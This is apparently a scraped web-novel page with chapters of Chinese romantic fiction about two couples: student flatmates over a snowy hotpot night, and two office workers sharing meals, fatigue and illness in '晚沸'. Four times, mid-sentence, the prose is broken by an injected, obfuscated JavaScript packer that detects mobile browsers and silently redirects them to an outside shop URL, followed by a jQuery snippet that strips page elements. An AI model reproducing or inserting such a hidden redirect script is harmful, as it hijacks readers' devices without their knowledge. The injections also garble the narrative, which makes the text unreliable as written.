“是啊，下雪了。”我把毯子裹得更紧了，“这意味着外卖小哥可能会超时，甚至根本不接单。” 苏念念转过头，盯着我，嘴角勾起一抹狡黠的弧度。我知道那个表情，那是猎人看到猎物掉进陷阱时的表情。“江驰，”她喊我的名字，“这种天气，难道不是为了吃火锅而存在的吗？” 十分钟后，我便站在了楼下的风雪中，深刻反省自己为什么总是拒绝不了这个女人。脖子上围着苏念念强行给我系上的红围巾——虽然我很不想承认，但这上面有她洗发水的橘子香味——手里提着两个巨大的环保购物袋。 “快点快点！要冻死啦！”苏念念在我旁边蹦蹦跳跳，她把自己裹成了一个粉红色的球，只露出一双眼睛在外面。“是谁说‘雪景好浪漫’非要走下来的？”我一边吐槽，一边默默地走到了上风口，替她挡住大部分夹杂着雪粒的寒风。 便利店里的暖气开得很足，甚至有点燥热。那种特有的关东煮味混合着烤红薯的香气，简直是冬日里的人间天堂。苏念念一进店就复活了，她像个巡视领地的将军，推着购物车直奔生鲜区。“肥牛卷！要两盒……不，三盒！”她指挥着。 “吃得完吗？” “你看不起谁的胃？”她白了我一眼，顺手把三盒肥牛丢进车里，“还有虾滑！午餐肉！啊，江驰，我要吃那个带芝士夹心的鱼丸！” 我跟在她身后，看着她在货架间穿梭。平时在学校里，苏念念是出了名的“高冷学霸”，走路带风，连教授都对她客客气气的。只有我知道，私底下的她其实是个如果不加以控制，能把火锅底料当汤喝的笨蛋。 “还要买可乐。”她停在饮料柜前，踮起脚尖去够最上层的那瓶大装零度可乐。她的毛衣袖子随着动作滑落，露出一截白皙的手腕。我甚至能看到她因为用力而微微绷紧的小腿线条。 我走过去，越过她的头顶，轻松地拿下了那瓶可乐。“给。” 苏念念转过身，我们的距离大概只有十厘米。我能看到她长长的睫毛上还挂着一点点融化的雪水，像是晶莹的露珠。她愣了一下，脸颊似乎比刚才被风吹的时候更红了一些。 “咳，长得高了不起啊。”她一把抢过可乐，嘟囔着转身，“走了，去结账。” 我也愣了一下。刚才那一瞬间，心跳好像漏了一拍。一定是便利店的暖气太热了，嗯，一定是。 回到家，世界重新变得温暖而狭小。厨房里响起了洗菜的水声和切菜的笃笃声。我在处理食材，苏念念则负责摆盘和偷吃。“这个午餐肉切得太厚了！”“那是为了口感。”“这个香菇为什么要刻十字花？”“为了好看。还有，把你的手从蟹棒上拿开，那是生的。” 没过多久，电磁炉被搬到了客厅的茶几上。红油锅底开始沸腾，咕嘟咕嘟地冒着泡，辛辣鲜香的味道瞬间填满了整个屋子。白色的水蒸气升腾起来，模糊了窗户上的冰花，让这个不足六十平米的小空间显得格外像个“家”。 “干杯！”我们举起装着可乐的玻璃杯碰了一下。苏念念迫不及待地夹起一片刚烫好的肥牛，在油碟里滚了一圈，然后塞进嘴里。“呼呼……好烫！好次！”她含糊不清地说道，眼睛幸福地眯成了一条缝，像只被喂饱的猫。 看着她鼓囊囊的腮帮子，我忍不住笑出了声。“笑什么笑！”她瞪我，嘴边还沾着一点油渍。“笑你像个仓鼠。”我抽了一张纸巾，自然地递过去，“擦擦嘴。”她接过纸巾，动作顿了一下，眼神有些闪躲：“要……要你管。” 电视里放着一部老旧的爱情喜剧，背景音是男女主角夸张的争吵。锅里的热气在我和她之间形成了一道朦胧的屏障。我们聊着学校里的八卦，聊着期末考试的压力，聊着如果不小心挂科了要怎么办。话题很琐碎，没有任何深刻的哲学探讨，但在这个下雪的夜晚，每一句话都像是被火锅汤底煮过一样，热乎乎的，很入味。 “江驰。”吃到一半，苏念念突然停下了筷子。 “嗯？没肉了吗？厨房还有。” “不是。”她用筷子戳着碗里的一颗鱼丸，声音有点小，“你说，要是以后不合租了，我是不是就吃不到这么好吃的火锅了？” 我的手顿在半空中。这个问题，其实我也想过。我们大三了，明年就要实习，未来充满了不确定性。这个小小的合租屋，也许只是人生中一个短暂的中转站。 “怎么会。”我装作漫不经心地把一片毛肚放进锅里，“你要是想吃，随时可以……叫外卖。” “江驰你个笨蛋！”苏念念气呼呼地踢了一下我的小腿——当然是隔着桌子。“疼！开玩笑的。”我看着她，认真地说，“你要是想吃，我就给你做。不管是不是合租。” 苏念念抬起头，透过升腾的热气看着我。她的眼睛在暖光灯下显得格外深邃，倒映着小小的我。“这可是你说的。”她小声嘀咕道，“不准反悔。” “绝不反悔。” 就在气氛逐渐变得有些微妙，甚至可以说有点粉红色泡泡冒出来的时候——啪的一声，世界陷入了一片黑暗。电磁炉停止了工作，电视机的声音戛然而止。只有窗外的雪光映照进来，给屋子镀上了一层清冷的蓝灰色。 “啊！”苏念念惊叫一声。 “别怕，应该是跳闸了。”我立刻说道，试图在黑暗中摸索手机，“这小区的电路老得像上个世纪的产物。” “江驰……”她的声音听起来有点抖。苏念念天不怕地不怕，唯独怕黑。 “我在，别动，我开手电筒。”我刚摸到手机，还没来得及打开，就感觉一团柔软的东西撞进了怀里。苏念念摸黑冲过来，紧紧抓住了我的毛衣下摆。“别……别走。”她的声音就在我胸口，闷闷的。 我僵住了。黑暗放大了所有的感官。我能闻到她身上淡淡的柑橘香气，能感觉到她微微颤抖的身体，还有那急促的呼吸声。我的心跳瞬间飙升到了二百迈，比刚才在便利店还要夸张。 “我不走。”我试探着伸出手，轻轻拍了拍她的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088264|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我就去门口看看电闸。” “不行。”她固执地抓着我不放，“带我一起去。” 于是，在这个漆黑的冬夜，两个二十多岁的成年人，像连体婴一样，一步一挪地向玄关移动。我打开手机手电筒，光束在黑暗中晃动。“看到了吗？”苏念念把头埋在我的肩膀后面，只露出一只眼睛。 “看到了，果然是跳闸。”我伸手把闸刀推了上去。啪。灯光瞬间亮起。 突如其来的光亮让我们都眯起了眼睛。等适应了光线后，我们才发现现在的姿势有多暧昧。苏念念整个人几乎挂在我身上，双手环着我的腰。而我的一只手正护在她的后脑勺上，另一只手还保持着推电闸的姿势。 空气仿佛凝固了。电视里重新传出搞笑综艺的笑声，但在我们之间，只有沉默。苏念念慢慢地抬起头，脸红得像刚才锅里的番茄底料。她松开手，后退了半步，但没有完全退开。“那个……”她眼神乱飘，“谢谢。” “不客气。”我觉得自己的耳朵也在发烧，“那个……火锅要凉了。” “哦，对，火锅！”她像是抓住了救命稻草，转身就要往客厅跑。但在她转身的那一刻，可能是因为拖鞋太滑，或者是太慌张，她脚下一踉跄。 “小心！”我下意识地伸手去拉她。惯性作用下，她重新跌回了我的怀里。这一次，因为角度问题，我们的距离比刚才还要近。近到我可以清晰地数清她的睫毛，近到我可以感觉到她的呼吸扑在我的下巴上。 时间好像再次停止了。这一次，没有黑暗做掩护。苏念念看着我，眼里的慌乱逐渐平息，取而代之的是一种名为“期待”的光芒。她没有推开我，反而微微垫起了脚尖。 鬼使神差地，我低下头。“江驰。”她轻声唤我的名字，声音软得像融化的棉花糖。 “嗯。” “刚才我说，以后不合租了也想吃你做的火锅。” “嗯。” “那个……如果不合租了，我们要怎么经常见面呢？”她咬了咬嘴唇，似乎鼓足了全部的勇气。我看着她这副小心翼翼又强装镇定的样子，心里某块柔软的地方彻底塌陷了。 我伸手帮她理了理耳边的碎发，手指轻轻擦过她滚烫的耳垂。“那就不合租了。”我笑着说。 苏念念的眼睛瞬间瞪大了，里面写满了失落和不可置信：“你……” “我们同居吧。” 空气安静了一秒。两秒。三秒。苏念念的脸以肉眼可见的速度变成了熟透的苹果。她张了张嘴，似乎想说什么反驳的话，或者是傲娇的吐槽，但最终，嘴角却不受控制地扬了起来。 “笨蛋江驰。”她把头埋进我的胸口，声音里带着藏不住的笑意，“这种话，应该由女孩子先矜持一下才对吧！” “那请问苏念念小姐，您愿意在这个寒冷的冬天，收留一只会做饭、会修电闸、还会暖床的……熊吗？” 她噗嗤一声笑了出来，伸手抱住了我的腰，这一次比之前任何一次都要用力。“看在你做的虾滑很好吃的份上，本小姐勉为其难地答应你了。” 窗外，雪还在下，将整个城市包裹在白色的温柔里。屋里，火锅再次咕嘟咕嘟地响了起来。我知道，这个冬天，再也不会冷了。 那顿火锅最后还是吃撑了。苏念念一边喊着“要胖死了”，一边因为吃太饱瘫在沙发上动弹不得。我去洗碗，她就在后面有一搭没一搭地跟我说话。 “江驰。” “怎么了？” “明天下雪的话，你要背我去上课。” “……路很滑的，大小姐。” “不管，这是男朋友的义务。” “行行行，背背背。” 我关上水龙头，回头看她。 她正趴在沙发背上，笑盈盈地也看着我。 41. 《晚沸》（1）（HE） 十点四十的地铁车厢，空气里有一股发酵般的馊味。 那是几百个疲惫的□□挤压在一起，混合了湿漉漉的雨伞水汽、廉价羽绒服里钻出来的鸭腥味，以及某些人早晨吃剩的韭菜包子经过十二个小时氧化后残留在口腔里的味道。 我被挤在靠近车门的一角，脸贴着冰凉的玻璃。随着列车在隧道里呼啸穿行，玻璃映出我那张惨白得像鬼一样的脸——黑眼圈掉到了颧骨，法令纹里卡着早上匆忙拍上去又早就斑驳的粉底。 手机在羽绒服口袋里震了一下。 那种震动带来的不是期待，而是生理性的惊吓。我的心脏猛地缩了一下，像被一直看不见的手狠狠攥紧。 掏出来一看，果然是工作群。 项目经理在群里发了一长串语音，转文字后的红点刺得人眼睛疼：“@林知，客户刚才反馈说第三版方案的颗粒度还是不够细，痛点没抓准，明天早上九点之前我们再对齐一下，辛苦今晚辛苦一下，给个反馈。” “颗粒度”、“痛点”、“对齐”。 我盯着这几个互联网黑话，胃里一阵痉挛。我想把手机砸了，或者回一句“去你妈的颗粒度”，但我只是一根僵硬的手指悬在屏幕上，最后机械地敲下两个字： “收到。” 那一刻，我觉得自己不像个人，像个设定好程序的扫地机器人，只知道吞噬垃圾，然后发出嗡嗡的噪音。 出了地铁站，外面下着雨夹雪。 为了省下那一块五的共享单车费，也或许只是想让脑子被冷风吹得清醒一点，我选择了步行回家。路灯昏黄，雨雪打在脸上像细小的刀片。我的皮鞋踩进积水的地砖缝里，冰凉的泥水瞬间浸透了袜子，那股凉意顺着脚底板直窜天灵盖。 这就是成年人的世界，坚硬，冰冷，不讲道理。你拼尽全力，也只是为了不被甩出轨道。 走到小区楼下时，我的手脚已经冻得失去了知觉。 我抬头往上看。 那是老式的六层板楼，没有电梯，外墙斑驳。在四楼的那个窗口，透出一晕暖黄色的光。那光并不亮，甚至因为窗帘拉得太严实而显得有些朦胧，但在这一片漆黑死寂的雨夜里，它像是一个神迹。 那是许漫给我留的灯。 爬上四楼，掏出钥匙。钥匙插进锁孔的声音，“咔哒”一声。这声音是我一天中最喜欢的音效，它意味着某种“刑满释放”。 推开门的一瞬间，眼镜片立刻蒙上了一层厚重的白雾。 与此同时，一股巨大的、温热的气息扑面而来。不是那种香薰的高级味道，而是一种极其具体的、充满生活褶皱的味道——是红豆在砂锅里炖烂了的甜香，混杂着阳台上刚收进来的棉被被暖气烘烤过的味道。 这种味道顺着鼻腔钻进肺里，差点把我的眼泪逼出来。 “回来了？” 客厅里传来许漫的声音。声音不大，带着点鼻音，听起来也是倦倦的。 我摘下眼镜，在衣服上胡乱擦了擦。 许漫正趴在茶几上改作业。她穿着那套我们穿了三年的珊瑚绒睡衣，粉色的，袖口和手肘的地方已经磨得光秃秃的，起了很多球。她的头发随意地用鲨鱼夹抓在脑后，几缕碎发垂下来，落在她白皙却略显疲惫的后颈上。 电视开着，放着不知道重播了多少遍的《甄嬛传》，声音调得很小，那是她的背景音。 “嗯。”我应了一声，声音哑得像吞了把沙子。 许漫没有回头，手里的红笔还在试卷上画着圈，只是用下巴指了指暖气片的方向：“拖鞋给你放暖气片上烤着了，换上吧。” 我走过去，拿起那双灰色的棉拖鞋。 手伸进去的那一刻，那种滚烫的温度瞬间包裹了僵硬冰冷的脚掌。那种热度顺着血管往上爬，原本被冻得麻木的脚趾开始恢复知觉，随之而来的是一种酥麻的刺痛感。 我忍不住发出一声舒服到近乎叹息的呻吟。 换好鞋，我没有去洗手，也没有去换衣服，而是像个被抽干了骨头的软体动物一样，一步步挪到茶几旁。 “漫漫。”我叫了她一声。 “怎么了？”她刚想转头。 我整个人从背后压了上去。 我把那个沾满了外面雨雪寒气、沉重无比的脑袋，重重地搁在了她的肩膀上。我的双手环过她的腰，毫无章法地扣在一起，把脸埋进她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088265|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈窝里。 她身上有一股很好闻的奶香味，是那种廉价身体乳混合了她体温的味道。 “嘶——”许漫缩了一下脖子，“林知，你手跟冰坨子似的，凉死我了。” 嘴上说着嫌弃，但她的身体却没有任何躲闪。相反，她停下了手里的笔，稍微调整了一下坐姿，好让我靠得更舒服一点。她伸出一只温热的手，覆在我冰凉的手背上，轻轻地搓揉着。 “外面雨下大了？”她问。 “嗯。”我闭着眼睛，贪婪地呼吸着她身上的味道，“夹着雪子，打脸疼。” “吃饭了吗？” “没。不想吃，胃难受。” 许漫叹了口气，手掌下的力道重了一些，像是要把热量传递进我的骨头里：“锅里有红豆粥，一直保温着。还有半个咸鸭蛋，给你剥好了。一会多少吃点。” “不想动。”我赖在她身上，感觉自己正在从一块冻硬的石头慢慢融化成一摊水，“就想这么趴着。漫漫，我今天觉得自己像条狗。” 许漫轻笑了一声，胸腔的震动顺着我的胸口传过来，震得我心尖发颤。 “狗多好啊，吃饱了睡，睡饱了吃，还没KPI。”她侧过头，脸颊蹭了蹭我冰凉的额头，“你是社畜，比狗惨多了。” 这一刻，没有那种惊天动地的“我爱你”，也没有什么浪漫的烛光晚餐。 有的只是满地的试卷红笔，电视里熹贵妃回宫的台词背景音，还有两个被生活按在地上摩擦了一整天的成年人，在这个不足七十平米的小盒子里，交换着彼此残存的体温。 我感觉眼眶有点热。 那个在工作群里唯唯诺诺回复“收到”的林知死了，那个为了颗粒度焦虑得想吐的林知也死了。 此刻活下来的，是许漫的林知。 “再抱一分钟。”我闷声说，“就一分钟，然后我就去喝粥，再去给那帮孙子改方案。” 许漫没说话，只是反手摸了摸我的头发，像是在安抚一只淋了雨的流浪猫。 窗外的风声呜咽，像是在恐吓，又像是在哀嚎。但这都没关系了。 在这个废墟般的世界里，我找到了我的安全屋。 42. 《晚沸》（2）（HE） 对于像我们这种在写字楼里把青春当柴火烧的社畜来说，周一到周五的中午，吃进肚子里的东西不叫“饭”，叫“饲料”。 那是为了维持这具□□能继续在那该死的工位上坐满八个小时而强制灌入的碳水和脂肪。可能是便利店里冷硬的饭团，可能是外卖盒里漂着一层凝固红油的料理包，或者是那些为了自欺欺人而点的、贵得要死却像在嚼草一样的轻食沙拉。 只有到了周末，当时间的流速终于慢下来，“吃饭”这两个字才重新拥有了它作为动词的尊严。 周六下午四点，我和许漫走进了楼下的菜市场。 我喜欢菜市场。相比于那种灯光惨白、货物排列得像仪仗队一样的精品超市，我更迷恋这里混乱、嘈杂、甚至带着点脏兮兮的生机。 空气里弥漫着一股复杂的味道：刚杀的鱼那种腥甜的水气，堆成山的香菜和芹菜散发出的泥土味，还有卤味摊上飘来的那一阵阵霸道的八角和桂皮香。 地上总是湿漉漉的，混杂着烂菜叶和黑色的泥水。我小心翼翼地避开那些水坑，紧紧抓着许漫的衣角。 许漫在这里，简直像个精算师兼谈判专家。 “老板，这西红柿昨天还三块五，今天怎么就四块了？这底下这个都软了。”许漫站在蔬菜摊前，手里掂着两个西红柿，眉头微皱，语气里带着一种不容置疑的专业。 摊主是个光头大叔，手里夹着烟，嘿嘿一笑：“美女，今天进价贵啊。行行行，算你三块五，把那个软的也给你换了。” 许漫满意地点点头，熟练地扯过一个塑料袋，开始挑挑拣拣。 我站在旁边看着她。她穿着那件米色的长风衣，袖口挽起来一截，露出皓白的手腕。她在那里跟人为了五毛钱斤斤计较的样子，让我觉得特别迷人。真的，比她在讲台上讲课，或者我看见那些投行精英在PPT上指点江山都要迷人。 因为这五毛钱的计较里，有着一种扎扎实实的、想要把日子过长远的诚意。 “发什么呆？提着。” 一个沉甸甸的塑料袋塞进我手里，里面是红彤彤的西红柿和几根带着泥的胡萝卜。 “哦。”我乖乖接过来。 我们买了一块五花肉，那种肥瘦相间、层次分明的精品五花；买了一条还在活蹦乱跳的鲈鱼；还买了一把嫩得能掐出水的豌豆尖。 两只手都被塑料袋勒出了红印子，但这重量让我感到安心。这不仅仅是食材，这是我们接下来两天的命。 回到家，厨房成了战场。 我们的厨房很小，两个人转个身都要侧着身子。抽油烟机是老款的，一开起来轰隆隆作响，像是一架准备起飞的拖拉机。 在这种噪音下，我们交流基本靠吼。 “林知！把蒜剥了！还有姜，切片！”许漫系着围裙，手里拿着锅铲，像个指挥千军万马的将军。 “知道了！” 我缩在水槽边的一个小角落里，像个受气的小兵，老老实实地剥蒜。蒜皮有些干，并不好剥，我的指甲缝里很快就嵌进了蒜汁，那股辛辣的味道怎么洗都洗不掉。 但这味道让我清醒。 锅里的油热了，许漫把五花肉倒进去。“滋啦”一声巨响，白色的油烟腾空而起，那种动物油脂被高温激发出的焦香瞬间霸占了整个空间。 这就是我活着的感觉。不是数据，不是流量，不是转化率。是油爆声，是蒜香味，是许漫被油烟熏得微微发红的脸颊。 “把盘子递给我！” “来了！” 我就像个蹩脚的各种打杂，一会儿递盘子，一会儿找生抽，一会儿因为笨手笨脚撞到了许漫的胳膊而被她嫌弃地瞪一眼。 “出去出去，越帮越忙。”许漫最后忍无可忍，用屁股把我顶出了厨房核心区，“去摆筷子。” 一个小时后，战斗结束。 没有精致的摆盘，没有什么ins风的滤镜。 桌子中间是一大盆红烧肉炖土豆，酱红色的肉块颤巍巍地堆在一起，土豆被炖得绵软，吸饱了肉汁。旁边是一盘清蒸鲈鱼，上面铺满了葱丝和红椒丝，淋了热油，还在滋滋作响。 我迫不及待地夹了一块红烧肉塞进嘴里。 烫。 烫得我直吸气，在嘴里囫囵转了两圈才敢咬下去。肥肉在舌尖化开，瘦肉吸满了汤汁，咸香、微甜、滚烫。那一瞬间，我觉得这一周受的所有委屈，被甲方骂的所有孙子，都在这块肉面前烟消云散了。 碳水和脂肪，是人类最原始的救赎。 “慢点吃，又没人跟你抢。”许漫给我盛了一碗饭，把自己碗里那块最精的肋排夹到了我碗里，“全是你的。” 我嘴里塞满了饭，含糊不清地说：“你也吃。你看你最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088266|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近瘦的，抱起来都硌手。” “那是你缺乏锻炼，皮太薄。”许漫白了我一眼，筷子伸向了那盘豌豆尖，“而且我最近在控糖，这红烧肉太罪恶了。” “控什么糖，”我把一块肉硬塞进她碗里，“你那是为了省钱吧？我跟你说，年底奖金发了，我高低得给你换个好点的面霜。” 许漫笑了，眼角的细纹舒展开来：“行啊，那我等着林总包养我。不过你能不能先把你那个发际线救一救？我看你最近掉头发掉得厉害，咱家地漏全是你的头发。” “那是智慧的结晶。”我不以为耻，“再说了，秃了你也得要我。房产证上写着咱俩名呢，跑不了。” “赖皮。” 我们就这样坐在那张用了五年的折叠桌前，顶着一头一脸的油烟味，讨论着发际线、猪肉价格和那点遥遥无期的年终奖。 窗外，天已经彻底黑了，万家灯火亮起。 吃完饭，我靠在椅子上，摸着圆滚滚的肚子，打了一个毫无形象的饱嗝。那种胃部被填满的沉重感，给了我一种巨大的安全感。 许漫站起来收拾碗筷。 “放着我来洗吧。”我嘴上说着，身体却诚实地不想动。 “得了吧，上次你洗完满地都是水。”许漫端着盘子进了厨房。 我看着她的背影。 水流声哗哗地响了起来。她在灯光下的影子被拉长，投在厨房有些发黄的瓷砖上。 那一刻，一种近乎于恐惧的幸福感突然击中了我。 我突然很害怕。 害怕这种日子会结束。害怕明天早上醒来，发现这一切只是我加班猝死前的一场幻觉。害怕那个残酷的世界终有一天会冲破这扇脆弱的防盗门，把我们像两只蚂蚁一样碾碎。 如果这种日子能持续到死——哪怕每天都要挤地铁，哪怕每天都要被老板骂，哪怕我们永远发不了财——我也愿意。 “许漫。”我突然冲着厨房喊了一声。 “干嘛？”她没回头，声音夹杂在水声里。 “没什么。”我看着那个背影，轻声说，“就是想问问你，明早吃什么。” “剩下的鱼汤给你煮面。” “好，多放点葱。” 我站起来，走到厨房，从背后抱住正在洗碗的她，把下巴搁在她的肩窝里。洗洁精的柠檬味盖过了油烟味。 43. 《晚沸》（3）（HE） 社畜是不敢生病的。 尤其是周三。周三是承上启下的日子，前有未填完的坑，后有即将到来的周汇报。在这个节骨眼上，身体机能的任何一次罢工，都是对团队OKR的背叛，是对全勤奖的亵渎。 所以，当凌晨三点，那一阵剧烈的绞痛像一只带刺的铁手狠狠攥住我的胃时，我的第一反应不是“我要死了”，而是——操，我的周报还没发。 那是胃痉挛。老毛病了，大概是晚上那顿红烧肉太油腻，或者是这几天的焦虑终于找到了一个宣泄口。 我蜷缩在被子里，冷汗瞬间就下来了。那种冷是从骨头缝里渗出来的，与此同时，体温却在飙升。我能感觉到自己的呼出的气都是烫的，像是在喷火。 卧室里黑漆漆的，只有加湿器那点微弱的蓝光。 我咬着牙，不想发出声音。许漫睡眠浅，明天她还要早起监考，高三的模考，很重要。我不能吵醒她。 我试图调整呼吸，像平时忍受甲方的无理要求一样忍受这种疼痛。我告诉自己：忍一忍，等这阵劲儿过了就好了，林知，你是个成熟的社畜，你不能因为肚子疼就哼哼唧唧。 但我高估了自己。 又一阵痉挛袭来，我没忍住，在喉咙深处发出了一声类似濒死动物的呜咽。身体不受控制地抽搐了一下，膝盖重重地磕在了床板上。 “咚”的一声。 身边的呼吸声立刻变了。 许漫醒了。她没有立刻说话，而是像那种雷达被激活了一样，瞬间从沉睡切换到了警觉状态。 “林知？”她的声音带着刚睡醒的沙哑，还有一丝慌乱。 “没……没事。”我从牙缝里挤出几个字，整个人缩成一只虾米，“就是……胃有点……疼。” “啪”的一声，床头灯亮了。 突如其来的光线刺得我流出了生理性的眼泪。我眯着眼，看见许漫已经坐了起来。她头发乱糟糟的，眼神却清明得可怕。她没有废话，直接伸手探向我的额头。 她的手心很凉，贴在我滚烫的皮肤上，舒服得我差点叹息出声。 “发烧了。”她皱着眉，语气严厉得像是在教训没交作业的学生，“身上全是汗。胃疼？” “嗯……绞着疼。” 许漫立刻掀开被子下床。 我听见她在客厅里走路的声音，听见翻找药箱的声音，听见烧水壶底座磕在大理石台面上的声音。这些细碎的声响，在深夜里被无限放大，像是一首关于救赎的安魂曲。 不一会儿，她进来了。手里端着一杯温水，掌心里躺着两片白色的药片，腋下还夹着一根水银体温计。 “起来，把药吃了。”她把枕头竖起来，扶着我坐起来。 我浑身没劲，软得像滩烂泥，大半个身子的重量都压在她身上。她穿着那件单薄的睡衣，身上带着被窝里带出来的暖意，还有那股熟悉的、让我心安的奶香味。 我就着她的手喝了水，吞了药。水温刚刚好，不烫嘴，顺着食管流下去，稍微缓解了胃里的抽搐。 “夹好。”她把体温计塞进我的腋下，冰凉的玻璃管激得我哆嗦了一下。 “漫漫……”我靠在她怀里，脑子因为发烧而变得混沌，平时那些理智的防线全塌了，“我难受。” “我知道。”她一只手搂着我，另一只手轻轻拍着我的后背，一下，一下，节奏平稳，“吃了药一会就好了。” “我不想去上班了……”我像个耍赖的孩子，把鼻涕眼泪都蹭在她那件干净的睡衣上，“那个傻逼项目……我不想干了……我想辞职……” 这是我平时绝对不敢说的话。房贷、车贷、即将到来的续约期，哪一个不是悬在头顶的达摩克利斯之剑？但在这一刻，在39度的迷离高烧里，我只想当个逃兵。 许漫拍着我背的手顿了一下，然后更用力地抱紧了我。 “好，不干了。”她在我也耳边轻声说，语气温柔得像是在哄骗，“明天就去辞职。大不了我养你。我工资虽然不高，但养只猪还是够的。” 我们都知道这是假话。 她的工资刚够还房贷，我的工资负责生活开销。如果我辞职，我们要么卖房，要么喝西北风。 但这句假话，在这个狼狈的深夜，比任何真理都管用。它给了我一种虚幻的底气，让我觉得就算天塌下来，至少还有个人愿意在那一刻替我顶一下。 “39度2。”许漫拿出体温计看了一眼，眉头锁得更紧了，“我去拿退热贴。” 那天后半夜，我一直在发汗。 许漫没怎么睡。她关了灯，但我能感觉到她一直醒着。 每隔一会儿，她就会摸摸我的额头，或者帮我掖一下被我踢开的被角。 黑暗中，感官被无限放大。我能闻到空气里那种因为发烧而特有的、略带酸味的汗气，还有药箱里拿出来的酒精棉球的刺鼻味道。 但我闻得最多的，还是许漫身上的味道。 后来大概是药效上来了，胃不那么疼了，人也开始迷糊。 我翻了个身，背对着她，把自己蜷缩进她的怀里。这是我们冬天最喜欢的姿势——汤勺式拥抱。 她的胸口贴着我的后背，她的膝盖顶着我的腿弯。 “漫漫，”我在黑暗中含糊不清地叫她，“你睡了吗？” “没。”她的声音就在我耳后，呼吸喷在我的脖颈上，痒痒的。 “我是不是把你吵醒了……明天你还要监考……”愧疚感像潮水一样涌上来。 “闭嘴，睡觉。”她收紧了手臂，把我勒得更紧了一些，像是在固定一件易碎的瓷器，“你要是真觉得愧疚，明天就好起来。” 她的体温源源不断地传过来。 那种热度，不是高烧那种病态的燥热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088267|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而是一种恒定的、温吞的、充满生命力的暖。 那一刻，我突然想起以前看过的一句话：人这一辈子，其实就是在一张床上烂掉的过程。 听起来很绝望，是吧？ 但此时此刻，我觉得如果能跟身后这个人一起烂在这张床上，烂在这个不足两米宽的避难所里，好像也没什么可怕的。 不管是35岁的危机，还是40岁的衰老，亦或是不知道哪天会降临的死亡。只要这具体温还在，我就还能苟延残喘。 第二天早上，我是被一阵香气唤醒的。 那是大米粥的味道，清淡，却有着一种让人起死回生的魔力。 我睁开眼，窗帘缝隙里透进来惨白的天光。烧退了，身体轻飘飘的，像被掏空了一样，但那种令人绝望的疼痛消失了。 许漫不在床上。 我披上衣服走出卧室。 许漫正在厨房里盛粥。她没换衣服，还穿着那件被我蹭脏了的睡衣。听到动静，她回过头。 那一瞬间，我看到了她眼底两片明显的青黑，脸色也有些发黄，看起来比我还像个病人。 “醒了？”她把粥放在桌上，还有一碟切得细细的咸菜丝，“感觉怎么样？” “好多了。”我走过去，看着那碗熬得出了米油的白粥，喉咙发紧。 “帮你请过假了。”许漫淡淡地说，“我说你急性肠胃炎，要去吊水。你们领导准了。” “……啊？”我愣住了，“可是……” “可是个屁。”许漫把勺子塞进我手里，“吃了饭滚回床上去睡觉。你要是敢碰电脑一下，我就把你电脑砸了。” 她看了一眼墙上的挂钟，匆忙抓起桌上的豆浆吸了一口：“我得走了，监考要迟到了。药在桌上，记得吃。” 她风风火火地换鞋，穿大衣。 走到门口，她突然停住了，回头看了我一眼。 那个眼神，我也许一辈子都忘不掉。 疲惫，焦急，甚至带着点因为睡眠不足而产生的戾气。但在那层戾气底下，是一种深沉的、把我也算作她生命一部分的牵挂。 “林知。”她说，“你在家乖一点。等我回来。” 门“咔哒”一声关上了。 屋里重新恢复了安静。 我坐在桌前，喝了一口白粥。米粒早就烂了，入口即化，顺着喉咙流进那颗刚受过难的胃里，暖洋洋的。 我看着对面空荡荡的椅子，看着窗外那个灰蒙蒙的早晨。 我想，这就是相依为命吧。 不是什么山盟海誓，而是当你病得像条狗一样的时候，有人愿意忍着困意照顾你一夜，然后在第二天顶着黑眼圈去面对那个操蛋的世界，只为了给你熬一碗粥，给你留一盏灯。 我吸了吸鼻子，把眼泪憋回去。 这粥真好喝。 真他妈好喝。 44. 《晚沸》（4）（HE） 周六下午两点半。 这是一个神圣的时间点。在这个时间点，阳光会呈现出一种像是被蜂蜜浸泡过的金黄色，透过没擦干净的落地窗斜射进来，正好打在那张灰色的布艺沙发上。 